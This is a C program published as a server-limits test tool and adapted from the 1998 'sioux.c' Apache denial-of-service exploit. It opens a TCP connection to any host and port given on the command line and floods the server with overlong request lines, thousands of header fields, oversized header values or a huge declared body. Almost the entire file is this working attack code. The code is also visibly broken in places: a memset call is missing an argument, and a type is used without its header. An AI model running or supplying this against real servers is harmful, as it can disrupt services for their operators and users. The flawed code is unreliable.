Quelle test_limits.c Sprache: C

/**************************************************************
* test_limits.c
*
* A simple program for sending abusive requests to a server, based
* on the sioux.c exploit code that this nimrod posted (see below).
* Roy added options for testing long header fieldsize (-t h), long
* request-lines (-t r), and a long request body (-t b).
*
* FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
*   gcc -o test_limits test_limits.c
*
* Solaris 2.5.1:
*   gcc -o test_limits test_limits.c -lsocket -lnsl
*
*
* Message-ID: <861zqspvtw.fsf@niobe.ewox.org>
* Date: Fri, 7 Aug 1998 19:04:27 +0200
* Sender: Bugtraq List <BUGTRAQ@netspace.org>
* From: Dag-Erling Coidan =?ISO-8859-1?Q?Sm=F8rgrav?= <finrod@EWOX.ORG>
* Subject:      YA Apache DoS attack
*
* Copyright (c) 1998 Dag-Erling Codan Smrgrav
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
*    notice, this list of conditions and the following disclaimer
*    in this position and unchanged.
* 2. Redistributions in binary form must reproduce the above copyright
*    notice, this list of conditions and the following disclaimer in the
*    documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
*    derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/

/*
* Kudos to Mark Huizer who originally suggested this on freebsd-current
*/

#include <sys/types.h>
#include <sys/uio.h>

#include <sys/socket.h>
#include <netinet/in.h>

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEST_LONG_REQUEST_LINE      1
#define TEST_LONG_REQUEST_FIELDS    2
#define TEST_LONG_REQUEST_FIELDSIZE 3
#define TEST_LONG_REQUEST_BODY      4

void
usage(void)
{
    fprintf(stderr,
      "usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n");
    exit(1);
}

int
main(int argc, char *argv[])
{
    struct sockaddr_in sin;
    struct hostent *he;
    FILE *f;
    int o, sd;

    /* default parameters */
    char *addr = "localhost";
    int port = 80;
    int num = 1000;
    int testtype = TEST_LONG_REQUEST_FIELDS;

    /* get options */
    while ((o = getopt(argc, argv, "t:a:p:n:")) != EOF)
        switch (o) {
        case 't':
            if (*optarg == 'r')
                testtype = TEST_LONG_REQUEST_LINE;
            else if (*optarg == 'n')
                testtype = TEST_LONG_REQUEST_FIELDS;
            else if (*optarg == 'h')
                testtype = TEST_LONG_REQUEST_FIELDSIZE;
            else if (*optarg == 'b')
                testtype = TEST_LONG_REQUEST_BODY;
            break;
        case 'a':
            addr = optarg;
            break;
        case 'p':
            port = atoi(optarg);
            break;
        case 'n':
            num = atoi(optarg);
            break;
        default:
            usage();
        }

    if (argc != optind)
        usage();

    /* connect */
    if ((he = gethostbyname(addr)) == NULL) {
        perror("gethostbyname");
        exit(1);
    }
    memset(&sin, sizeof(sin));
    memcpy((char *)&sin.sin_addr, he->h_addr, he->h_length);
    sin.sin_family = he->h_addrtype;
    sin.sin_port = htons(port);

    if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket");
        exit(1);
    }

    if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
        perror("connect");
        exit(1);
    }

    if ((f = fdopen(sd, "r+")) == NULL) {
        perror("fdopen");
        exit(1);
    }

    /* attack! */
    fprintf(stderr, "Testing like a plague of locusts on %s\n", addr);

    if (testtype == TEST_LONG_REQUEST_LINE) {
        fprintf(f, "GET ");
        while (num-- && !ferror(f)) {
            fprintf(f, "/123456789");
            fflush(f);
        }
        fprintf(f, " HTTP/1.0\r\n\r\n");
    }
    else {
        fprintf(f, "GET /fred/foo HTTP/1.0\r\n");

        if (testtype == TEST_LONG_REQUEST_FIELDSIZE) {
            while (num-- && !ferror(f)) {
                fprintf(f, "User-Agent: sioux");
                fflush(f);
            }
            fprintf(f, "\r\n");
        }
        else if (testtype == TEST_LONG_REQUEST_FIELDS) {
            while (num-- && !ferror(f))
                fprintf(f, "User-Agent: sioux\r\n");
            fprintf(f, "\r\n");
        }
        else if (testtype == TEST_LONG_REQUEST_BODY) {
            fprintf(f, "User-Agent: sioux\r\n");
            fprintf(f, "Content-Length: 33554433\r\n");
            fprintf(f, "\r\n");
            while (num-- && !ferror(f))
                fprintf(f, "User-Agent: sioux\r\n");
        }
        else {
            fprintf(f, "\r\n");
        }
    }
    fflush(f);

    {
        apr_ssize_t len;
        char buff[512];

        while ((len = read(sd, buff, 512)) > 0)
            len = write(1, buff, len);
    }
    if (ferror(f)) {
        perror("fprintf");
        exit(1);
    }

    fclose(f);
    exit(0);
}

quality81%

¤ Dauer der Verarbeitung: 0.21 Sekunden (vorverarbeitet) ¤

Wurzel

Suchen

Beweissystem der NASA

Beweissystem Isabelle

NIST Cobol Testsuite

Cephes Mathematical Library

Wiener Entwicklungsmethode

Haftungshinweis

Die Informationen auf dieser Webseite wurden nach bestem Wissen sorgfältig zusammengestellt. Es wird jedoch weder Vollständigkeit, noch Richtigkeit, noch Qualität der bereit gestellten Informationen zugesichert.

Bemerkung:

Die farbliche Syntaxdarstellung ist noch experimentell.